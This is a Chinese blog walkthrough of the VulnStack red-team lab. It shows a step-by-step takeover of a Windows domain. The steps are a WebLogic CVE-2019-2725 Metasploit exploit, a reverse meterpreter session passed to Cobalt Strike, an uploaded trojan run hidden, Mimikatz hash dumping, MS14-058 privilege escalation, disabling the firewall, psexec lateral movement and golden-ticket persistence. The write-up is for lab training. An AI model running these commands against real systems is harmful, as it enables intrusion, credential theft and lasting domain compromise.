[域渗透]Vulnstack(二)

[ATT&CK实战]VulnStack红队(二)

ATT&CK实战系列二

知识点

CVE-2019-2725

msfconsole

MS14-058 CVE-2014-4113提权

Cobaltstrike学习

黄金票据

。。。。。。

靶机描述

靶机地址http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX

  1. Bypass UAC
  2. Windows系统NTLM获取(理论知识:Windows认证)
  3. Access Token利用(MSSQL利用)
  4. WMI利用
  5. 网页代理,二层代理,特殊协议代理(DNS,ICMP)
  6. 域内信息收集
  7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
  8. 域凭证收集
  9. 后门技术(黄金票据/白银票据/Sid History/MOF)

拓补图
1594131272927

环境搭建

1594124640804

下载好靶机打开vmx文件即可,由于DMZ网段为192.168.111.0/24,所以需要将kali的子网ip设置为192.168.111.0
1594124806542

web机中需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个startWeblogic 的批处理,使用管理员身份运,管理员账号密码:Administrator/1qaz@WSX

1594125481858

WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动

kali攻击机ip:192.168.111.128

WEB机ip:192.168.111.80

外网渗透

信息收集

靶机ip为192.168.111.80
1594125983232

端口扫描
1594127377707

发现开放了80和7001两个http端口,在80端口没有发现什么,7001端口为WebLogic Server 10.3.6.0,可使用weblogicscan进行扫描

1
python3 WeblogicScan.py 192.168.111.80 7001

1594128452876目标存在CVE-2019-2725漏洞,去网上搜索利用exp
https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-2725

最终在msf中发现了疑似可以利用的模块
1594129842386

GETSHELL

1
2
3
4
5
6
7
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
show targets
set target 1
show options
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

1594165461303

注意:这里要设置target,否则会显示恶心的Exploit completed, but no session was created.,不知道以前返回这个是否是因为未设置target

内网渗透

cobaltstrike学习

在做红日域渗透靶机一的时候由于学得很乱,所以便没有去学习cobaltstrike的使用,今天发现这个工具十分好用而且常用,所以在这里简单的学习一下

参考链接:https://www.cnblogs.com/wkzb/p/12431487.html
https://klionsec.github.io/2017/09/23/cobalt-strike/

Cobaltstrike下载链接: https://pan.baidu.com/s/1oJPRfh6-2oOUUKJAF0I2_A 提取码:3drd

——cs启动——

cabaltstrike 工具使用时分为服务端和客户端,启动服务端后可以有很多客户端连接,团队合作使用很方便,实验时也可以服务端客户端在一台机器启动。

服务端在 kali 启动,命令是:./teamserver 本机 ip 连接密码

1
./teamserver 192.168.111.128 test

1594195836891

客户端在物理机启动,双击cobaltstrike.bat即可,host填kali的ip,密码为刚才输入的test
1594196943183

——msf派生权限——

先在 cs 开启监听,Cobalt Strike->Listeners-Add,Name 随便填,Host 填写服务端kali的ip,Port 填写服务端设置的端口(在kali启动的时候可以看到port 4444 started!

1594197235511

这个和web靶机的会话端口冲突,修改msf监听端口即可

这时我们需要已经获得一个shell的会话,将会话ctrl+z放到后台,执行msf命令

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true
set lhost xxxx #cobaltstrike监听的ip
set lport xxxx #cobaltstrike监听的端口
set session 1 #这里是当前获得的sessionid
exploit

1594197974328

1594198066779

1594197995946

cobaltstrike成功监听到WEB机的shell,右键进入beacon界面即可执行命令
1594198165918

执行 shell 命令前面加上 shell 就可以了,例如 shell dir
要使得 Beacon 每秒都多次连接到你,使用 sleep 0 命令。这是「交互式模式」。这种模式下命令 会立即执行

——制作木马——
首先创建监听器用于木马回连,Host 为 cs 服务端的 ip

1594199580654

Attacks->Packages->Windows Executable 再根据靶机的类型勾选,生成木马

1594199705068

生成木马之后将其复制到kali机里面,在msf的会话中使用upload进行上传

1
upload /root/artifact.exe C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\artifact.exe

1594200777460

执行该木马,WEB机成功上线

1
2
execute #在目标机中执行文件
execute -H -i -f artifact.exe # 创建新进程cmd.exe,-H不可见,-i交互

1594200913023

——凭据存储——

密码读取

右键->Access->Dump Hashes(需要Administrator权限)

右键->Access->Run Mimikatz

之后再点击凭证信息

1594202264921

基本的操作先学到这里,还有一个psexec传递在下文会学习,其它强大的功能远不于此,后面边用边学.

提权

右键->执行->提权

MS14-058 CVE-2014-4113为一个0day,可直接进行windows提权

1594210413819

成功提权为system权限

1594210692641

域信息收集

获取当前组的计算机名

1
net view

这里需要将防火墙手动关闭,否则会出现6118的错误

第一种是刚刚msf反弹回来的输入
run post/windows/manage/enable_rdp
第二种是在菜刀命令终端下输入
netsh advfirewall set allprofiles state off

1594203346183

未关闭防火墙只扫出来一个DC机器,将web和PC机器防火墙关闭后便能得到所有机器的信息
1594211521343

查看所有域

1
net view /domain

1594203450088

查看ip信息

1
ipconfig /all

1594211720611

得到为双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10

查看域名

1
shell net config workstation

1594212016261

这个命令需要在Administrator权限下使用,域名为WEB.de1ay.com

查看域内机器ip

1594212157651

查询域内用户

1
shell net user /domain	#该命令在本环境中需要在system权限下执行

1594212327077

查询域控机器

1
shell net group "Domain controllers" /domain 	#system权限下执行

1594212381537

得到域控机器为DC

查询域管理员

1
shell net group "domain admins" /domain

1594212497227

psexec传递

psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务

获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口

命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程

例如:portscan 10.10.10.0/24 445 arp 200

1594214618444

可看到域控机器DC开放了445端口

工具栏 View->Targets 查看端口探测后的存活主机
1594216367936

新建一个 Listener,Payload 选择 windows/beacon_smb/bind_pipe

1594216416085

存活主机右键->Login->psexec,选择之前获取到的凭据信息(明文密文均可),选择 Listener 及主机 Session

1594216434855

1594216719534

DC成功上线,这里会话需要选择Administrator才行,system权限试了几次没有成功

1594216809369

使用相同的方法可使PC机器上线
1594219729651

所有机器均上线成功

权限维持

域控信息收集

在域控中获得KRBTGT账户NTLM密码hash和SID
1594217354108

黄金票据利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心
(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

原理这篇 https://www.freesion.com/article/6833306427/ 博客讲的很详细。

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域
控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票
据重新获取最高权限。

WEB机 Administrator 权限机器->右键->Access->Golden Ticket

1594217646994

1594217840245

这个靶机主要使用的是cs来操作,靶机一则通过端口转发 、metasploit+proxychains代理等方式来进行横向移动,域渗透需要学的还有很多,后面会不断练习来完善相关技能

参考文章:

后渗透之meterpreter使用攻略

cobaltstrike学习笔记

VulnStack域环境靶场渗透

ATT&CK实战系列——红队实战(二)

域渗透之(黄金票据利用)

CVE-2019-2725

cobalt strike 快速上手 [ 一 ]

文章作者:CyzCc
最后更新:2020年07月14日 21:07:40
原始链接:https://cyzcc.vip/2020/07/14/Vulnstack%E4%BA%8C/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------